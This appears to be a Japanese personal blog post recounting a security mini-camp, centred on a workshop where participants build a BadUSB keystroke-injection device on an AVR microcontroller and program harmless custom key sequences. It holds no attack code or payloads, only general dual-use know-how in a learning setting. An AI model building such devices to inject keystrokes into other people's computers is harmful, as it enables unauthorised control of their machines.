 最初に見せてくださったのはマインスイーパの自動化です。PerlGUIを操作し、確率などを計算してゲームクリアをしてくれるというものです。なんというか、色々と圧倒されました。

 しかしこのアプリを開発している際にバグがあると、自分でコントロールすることができず、再起動するぐらいしか方法がありません。

 悪意のある似たようなものでBadUSBというのがあります。BadUSBとは、BlackHt USA 2014で公開されたもので、USBメモリをUSBキーボードとして認識させることができる技術で、USBに差し込んだだけで意図しない自動キー操作が可能となるものです。今回はそのBadUSBをAVRマイコンで作るというものです。

 BadUSBを作るのに必要な部品はいくつかありますが、その本体だけであればそれほど値段がかからずに作れるというから驚きです。

 まずはAVR開発環境のインストールを行います。(※Windowsの人限定かもしれませんが、もしかしたらこの時に環境変数が壊れるかもしれません。僕とキャンプに参加した友人二人は同じ現象が起きていました。ちなみに当時はBadUSBを作るのが楽しすぎて気づいていません)

 環境の構築が終わったら、今度はマイコンやその他ピン接続などの配線を行います。PS/2コネクタの穴に挿すのはそれ専用のコネクタであるのが普通ですが、ブレッドボードで使うようなジャンパーワイヤーを挿すのはとても新鮮味がありました。ちなみに配線を間違えると煙が出るそうです。正しく配線しなければならないのですが、煙が出る瞬間も見てみたい…

f:id:HappyNote3966:20161226172544j:plain

f:id:HappyNote3966:20161226172547j:plain

f:id:HappyNote3966:20161226172541j:plain

f:id:HappyNote3966:20161226172538j:plain

 あとはAVRライタに接続し、AVRマイコンにプログラムを書き込みます。書き込んだ後はPCに接続してメモ帳を開いてみます。すると「abcdefgh」が繰り返して入力されていました。マイコンで文字入力ができてしまいました。

 そして今度は、オリジナルのBadUSBを作る為、キーボードのスキャンコード表を参考にしながら自分なりの面白動作をするように改造します。参加者の中には画面を回転させたり寿司の絵文字を打ち続けたりとするものもありました。ちなみに僕はWin+Dキーでウィンドウを全て最小化⇔元に戻す、というのを作りました。

 

 自分だけの動作をするBadUSBを作るのは楽しくて、どんなキーコードにしてやろうかなとかどんなキーコードを書けば攻撃に繋がるか…とか考えることができました。ショートカットキーは覚えるに越したことは無いみたいです。そしてこれを作業の自動化にも使えそうなので、AVRライタを手に入れたら試してみたいと思います。

 マイコンの中身を詳しく知ることは時間の都合上できませんでしたが、ミニミニCPUを使いこなして何か作りたいとも思いました。そのためにもAVRマイコンの仕様書を読むということをしてみて、一個50円で売られているものがどれだけの時間をかけられてる作られているかを調べたいです。そして、ハードウェアも使いようによっては何にでも化けるんだというのが率直な感想です。ハードウェアって面白いですね!

 

 というわけで、2日間のミニキャンプはとっても楽しかったです。楽しかった上に、勉強にもなってとてもいい時間を過ごせました。理解できたところもあればそうでないところもあったけど、それが学習意欲を引き立ててくれている気がします。低レイヤーやバイナリに強くなって、それを他の人にも教えられたらいいなと思います。

 講師の丹さん、辻さん、高江さん、Razvanさん、西永さん、竹迫さん、そして参加者や関係者の皆様、貴重な経験をありがとうございました!来年も是非北陸へお越しください!

 

 ここからはまとめ&お土産紹介です。まずはミニキャンプ北陸の関係Tweetまとめとハイライトです。

 

togetter.com

 

www.youtube.com

 

 お土産です。まずは竹迫さんから演習でもらったBadUSBのキット。スイッチは西永さんに頂きました。

f:id:HappyNote3966:20161226172553j:plain

 お次はステッカーです。TomoriNaoステッカーは、友利奈緒さんに頂きました。

f:id:HappyNote3966:20161226172729j:plain

 最後に講義資料として使われた『IoT開発におけるセキュリティ設計の手引き』やそのスライド資料です。

f:id:HappyNote3966:20161226172556j:plain

 BadUSBはArduinoを購入すればライタとして使えると聞いて、購入を検討中です。あとRaspberry Pi 3が欲しくてこの前ポチりました。少しずつハードが増えていきます…ハードに興味の無かった昔に比べていろんなことに興味を持てたのも、キャンプに参加してからです。本当にキャンプに参加できてよかったなぁと思います。講義からお土産まで、ありがとうございました!

 (ミニ)キャンプに参加してみたいと思った人、是非参加してみてくださいね!